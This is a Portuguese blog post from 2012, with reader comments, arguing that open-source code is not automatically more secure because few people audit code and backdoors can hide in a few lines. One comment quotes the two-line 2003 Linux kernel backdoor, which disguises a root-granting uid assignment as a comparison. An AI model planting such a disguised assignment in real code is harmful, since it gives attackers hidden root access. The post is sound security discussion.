sexta-feira, 6 de julho de 2012

Desenvolvimento aberto e backdoors

Recentemente, tive uma dessas discussões apaixonadas sobre desenvolvimento aberto – das quais já não costumo mais ter paciência para participar.  Aprendi com o tempo que a área de tecnologia não deve ser movida por paixões, mas por decisões práticas e objetivas, que levem em consideração o ambiente ao redor. E partindo desse princípio, pode-se dizer que a grande maioria das técnicas e tecnologias é aplicável. 


Imagem: slashgear.com

Desenvolvimento aberto (código aberto e software livre são utilizados popularmente como sinônimos, o que não exatamente apropriado) é uma forma de desenvolvimento de software, nada mais. Nem é preciso entrar nos meandros da discussão, porque ela agrega muito pouco no quesito segurança e nada, nos paradigmas fundamentais da programação. 

O desafio atual da segurança no desenvolvimento reside naquela clássica questão de se saber o que realmente um código está fazendo (por exemplo, se ele está ou não em looping), um problema sem solução.

Hoje, temos ferramentas que “fiscalizam” as melhores práticas de programação, capazes de detectar, em tempo real, um bom nível de erros de codificação. Mas no que diz respeito ao problema apresentado, são incompletas em sua funcionalidade. No final das contas, pressupõe-se que a intervenção humana ainda é necessária. 

O principal argumento da suposta segurança dos sistemas abertos baseia-se na abertura e na visualização do código por milhões de pessoas. A alegação apresenta um componente de obviedade tentador. Afinal, algo visto e validado por milhões de pessoas deve ser mais seguro do que aquilo que ficou restrito a duas ou três. Mas a realidade é outra. 

O código aberto não é nenhuma novidade, existe há muito tempo. Um exemplo clássico foi o bug da pilha TCP/IP que atingiu 100% dos Sistemas Operacionais, há mais de 10 anos.  Ou seja, todos os fornecedores tinham o mesmo bug. Isso significa que utilizaram o mesmo código, fatalmente derivado de um BSD, que era aberto, livre para uso. 

Ainda que o código tenha sido visto por milhões de pessoas de diferentes corporações, o bug existiu por muito tempo. Então, por que, ao olharem para o código, não viram o bug?

Muitas pessoas confundem a velocidade na correção de um problema de segurança com a inexistência dele.  Um grande equívoco! Já que a agilidade em corrigi-lo está vinculada diretamente ao compromisso do fornecedor em fazê-lo, seja ele aberto ou fechado. 

Assim, conclui-se que o sistema não está livre de problemas de segurança, já que os fornecedores, abertos ou fechados, têm esses mecanismos de fornecimento.

Então, onde estão os analistas de código? Por que o código aberto não é mais seguro?

Se oferecesse maior segurança, o software livre (baseado em desenvolvimento aberto) não teria bugs. Todos podem visualizar o código, entretanto 99,9999% dos bugs são descobertos em tempo de execução na maioria dos sistemas, e não com análise de código.  

Analisar o código, aliás, é algo mais complexo do que desenvolver o próprio código. Não existe um processo de automação que diga o que um código está fazendo. Além disso, já se tem poucas pessoas desenvolvendo código em comparação às pessoas que usam os produtos e, talvez, praticamente ninguém verificando.

Podemos até fazer uma analogia com os processos de compra do Governo. Todos eles são públicos e estão disponíveis para a população verificar. Nem por isso o número de problemas apresentados na televisão em relação a esses procedimentos diminui. A população em geral que tem acesso a tais processos não tem capacidade de avaliá-los, apesar de pagar por eles e usufruir de seu resultado.

Para piorar (no que diz respeito à segurança), temos as bibliotecas de terceiros, amplamente usadas, as BIOS de computador e os sistemas de apoio embarcados para processamentos especializados (FPGA, por exemplo). Todos, livres ou não, com possibilidades de backdoors. O mercado sempre foi colaborativo, não se esqueçam desse ponto. Bibliotecas, integrações e compartilhamento de código entre sistemas sempre existiram. Todas essas camadas de apoio, que são ligadas à execução de um sistema, podem esconder brechas de segurança.

Quantas vezes você, leitor, verificou o código aberto de alguma aplicação para ver se existe algo suspeito nele? Será que este “IF” esconde um backdoor? Quantas pessoas você conhece que já fizeram isso? Eu não me lembro de nenhuma nos últimos 15 anos – pelo menos que tenha descoberto algo  relevante. Conheci muita gente que o fez para corrigir um problema ou aprender como se faz algo, mas nunca para tirar conclusões sobre aspectos de segurança ou corretude do sistema.

Como se já não bastasse a dificuldade técnica na avaliação de um código feito por outra pessoa (em ambientes de desenvolvimento essa é uma reclamação constante de novos programadores que entram na equipe), ainda existe a possibilidade de estarem escondidas entre os códigos, ações não tão óbvias.

Lembro de um campeonato que existia na época de faculdade, cujo objetivo era desenvolver um programa em C que parecia fazer algo específico, mas, na verdade, escondia outras operações. Havia também uma competição que premiava o programa em C mais “confuso”, de modo que, ao ser lido, o leitor não pudesse saber o que ele fazia. Um dos requisitos desses campeonatos era que o programa fosse pequeno, capaz de ser analisado por uma pessoa. 

Se é possível esconder códigos em programas pequenos, pense agora no volume de códigos existentes atualmente! 

Um backdoor pode ser apenas uma atribuição errônea de uma variável ou um conjunto de 03 linhas de código, bem diferente de milhares de linhas de código, como ocorreu no FLAME. 

Resiliência: Os backdoors vieram para ficar, sejam por erros de programação ou inserção proposital.

7 comentários:

  1. Boa noite Fragola.

    Concordo com praticamente tudo que pontuou, exceto no seu ponto de vista de que ninguém analisa o código, aonde fica a engenharia reversa, o deploy com ferramentas que analisa o código em execução? Exemplos como o valgrind, gdb, dbmon, procmon entre outras, com estas técnicas sendo aplicadas nos códigos sem dúvida aumenta a segurança, estabilidade e etc. Porém como em todas as áreas segurança 100% não existe!!!

    abs,
    Lucas Pereira
    http://testelabs.blogspot.com.br/

    ResponderExcluir
    Respostas
    1. Caro Lucas,
      Estas ferramentas são auxiliares no desenvolvimento e visam eliminar bugs de programação gerados por codificação errada. Falei delas no texto de um modo geral, sem especificar as técnicas existentes por não ser o tema em questão. As ferramentas citadas por você tem as mesmas limitações das análises de código padrão. A engenharia reversa é uma forma de análise de código também, com as mesmas limitações citadas. Se estamos analisando código C ou código de máquina, se é analise da sintaxe ou em tempo de execução, não faz diferença. Pense, se as análises em tempo de execução funcionassem, as técnicas de heurística dos AVs resolveriam todos os problemas de invasão por artefatos maliciosos, o que não é o caso.

      Excluir
  2. Opa,

    Já que o Lucas discordou do chefe, vou contribuir com meus 2 cents também. Vou ir a lá Jack, de forma a clarificar os pontos.

    1 - Pra mim o principal desafio de se ter segurança em desenvolvimento é conseguir imprimir um ciclo de desenvolvimento seguro. O maior exemplo na atualidade de empresa que faz isso é a própria Microsoft, que contratou (e ainda contrata) diversos hackers para ajudar em seu ciclo de desenvolvimento.

    Isso começou a partir do service pack 2 do Windows XP. Hoje o Windows tem a melhor implementação de Heap (Heap Low-Fragmentation) do ponto de vista de segurança (mais difícil de se explorar), tem o patch-guard e outras proteções mais.

    Este ciclo de desenvolvimento passa por equipes de code-review, onde alguma backdoor/bug fatalmente é descoberto, pois quem faz code-review não programa novas funcionalidades. E quem corrige os bugs não faz code-review.

    2 - Apesar de atualmente existirem ferramentas que ajudam a encontrar bugs, elas ainda estão longe de ter um resultado aceitável de forma que dispense o review humano.

    3 - A argumentação do código ser aberto, e poder ser visto por quem usa, pra mim também se apresenta de forma inválida. O pessoal do software livre (SL) gosta muito de usar este argumento, mas um teste simples que pode ser feito para invalidar tal argumento é ir em qualquer evento de SL e pergunta para os presentes quantas pessoas já fizeram review em seu código do Firefox ou outro que use.

    4 - Provendo dados para sua citação sobre bugs existentes em diversos sistemas por causa do compartilhamento de código, um amigo nosso encontrou um que afetava FreeBSD/NetBSD/TrustedBSD*/DragonFlyBSD/MidnightBSD, => http://www.kernelhacking.com/bsdadv1.txt

    5 - Eu não vejo a segurança no desenvolvimento em termos de Código Aberto vs. Código Fechado. Temos bons exemplos tanto de código aberto como código fechado de softwares ruins e softwares bons. O diferencial, pra mim, está mais relacionado ao ciclo de desenvolvimento seguro que se adota (se é que adotam) e ao desenho (design) empregado. Poderia citar exemplos aqui, mas meu post já está ficando gigantesco, rsrs.

    6 - Bom, eu costumo fazer code review para encontrar bugs de segurança. Tenho alguns amigos que fazem isto também, uns por diversão, outros de forma profissional.

    7 - E sobre backdoors, realmente é algo muito simples de se colocar no código. Exemplos de código aberto temos o próprio kernel do Linux, onde em 2003 alguém alterou de forma manual um código fonte (kernel/exit.c) adicionando apenas duas linhas, colocando uma backdoor no kernel. E o problema só foi detectado porque a modificação não foi feita via commit normal de algum desenvolvedor. Outro problema do tipo foi uma invasão aos servidores do proftpd (atualmente o servidor de ftp mais utilizado no mundo Unix), onde também colocaram uma backdoor no código fonte do sistema.

    => http://kerneltrap.org/node/1584
    Pra quem não quer abrir a referência, as linhas adicionadas foram:
    + if ((options == (__WCLONE|__WALL)) && (current->uid = 0))
    + retval = -EINVAL;

    => http://www.aldeid.com/wiki/Exploits/proftpd-1.3.3c-backdoor

    ResponderExcluir
    Respostas
    1. Caro Ygor,

      Sua explanação enriquece muito o texto.

      Realmente, no ciclo de implementação deve-se introduzir ferramentas (como comentou Lucas acima) e técnicas de programação segura, principalmente nos projetos, para diminuir os riscos de segurança. Difícil é convencer empresas a investir por este caminho, já que os projetos ficam bem mais caros. Entretanto não tem outro caminho para diminuir os problemas de segurança. Agora, isso não impede que um programador insira no código algo “não permitido”.

      No mais, concordo com tudo que falou. Creio que a área de análise de código e compliance de especificação e codificação deve crescer no futuro (um futuro bem distante, não se anime :-) ). Esta será uma das únicas formas de se mitigar a inserção de códigos maliciosos em sistemas, sejam abertos ou fechados.

      Excluir
    2. Ola Fragola,

      Quando me refiro a ciclo de desenvolvimento seguro, me refiro a algo como o Microsoft SDL (Security Development Lifecycle - http://www.microsoft.com/security/sdl/discover/verification.aspx). Nestes ciclos de desenvolvimento a probabilidade de uma backdoor passar é menor, pois em cada fase existe uma equipe diferente que faz o trabalho.

      Note que neste ciclo temos itens de segurança desde o desenho do projeto, e emprega-se análise estática, análise dinâmica, fuzzing (não a lógica, hehe) e outros. Comparo um ciclo destes com a metodologia cientifica, ele não garante que não existirá erros, mas que se existirem eles alguma hora serão encontrados e corrigidos.

      No mais, concordo que está longe das empresas desenvolvedoras de software adotarem estes ciclos, pois custa caro num curto prazo.

      Parabéns pelo texto, essa discussão é boa.

      Abraço.

      Excluir
  3. Mais um para descordar veementemente desta matéria, existe há muito tempo empresas como a Offensive Security e o Kali Linux, além de vários Challenges renomados em varias outras comunidades de código aberto ou parcialmente abertos, no qual a analise do código é quase um fator imprescindível.

    ResponderExcluir
    Respostas
    1. Infelizmente este é um problema semi-decidivel e não tem solução algorítmica. Isso é matemática e não superstição. Se já não bastasse os exemplos dados temos um mais atual, o heartbleed, que durou 2 anos, passou pela comunidade toda e por todas as empresas privadas que copiaram o código. Abraço!

      Excluir